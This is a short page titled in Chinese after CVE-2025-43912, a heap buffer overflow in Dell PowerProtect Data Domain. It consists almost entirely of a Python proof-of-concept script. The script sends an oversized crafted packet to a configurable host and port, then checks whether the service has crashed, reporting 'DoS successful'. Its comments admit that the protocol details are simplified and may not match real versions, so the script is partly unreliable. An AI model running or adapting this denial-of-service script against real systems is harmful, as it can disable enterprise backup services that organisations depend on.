CVE-2025-43912 Dell PowerProtect Data Domain 堆缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-43912 - Dell PowerProtect Data Domain Heap-based Buffer Overflow PoC # This is a conceptual proof-of-concept demonstrating the vulnerability trigger. # The actual vulnerable endpoint and payload structure may vary based on # the specific DD OS version and service configuration. import socket import struct import sys TARGET_HOST = "192.168.1.100" # Target Dell PowerProtect Data Domain IP TARGET_PORT = 3009 # Common DD management/replication port (adjust as needed) BUFFER_SIZE = 8192 # Oversized payload to trigger heap overflow def build_malicious_packet(): """ Build a crafted network packet with an oversized payload field to trigger the heap-based buffer overflow vulnerability. """ # Protocol header (simplified - actual protocol may differ) header = b"\x00\x00\x00\x01" # Magic / version bytes header += struct.pack(">H", 0x0001) # Command type header += struct.pack(">I", BUFFER_SIZE) # Declared payload length (mismatched) # Oversized payload to overflow heap buffer payload = b"\x41" * BUFFER_SIZE # Fill with 'A' (0x41) packet = header + payload return packet def exploit(): print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Sending oversized payload ({BUFFER_SIZE} bytes) to trigger heap overflow...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) packet = build_malicious_packet() sock.send(packet) response = sock.recv(4096) print(f"[*] Response received: {len(response)} bytes") # Check if service crashed (no further response expected) try: sock.send(b"\x00" * 16) sock.recv(1024) print("[-] Service still responsive - exploit may have failed") except (socket.timeout, ConnectionResetError, BrokenPipeError): print("[+] Service appears to have crashed - DoS successful!") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] if len(sys.argv) > 2: TARGET_PORT = int(sys.argv[2]) exploit()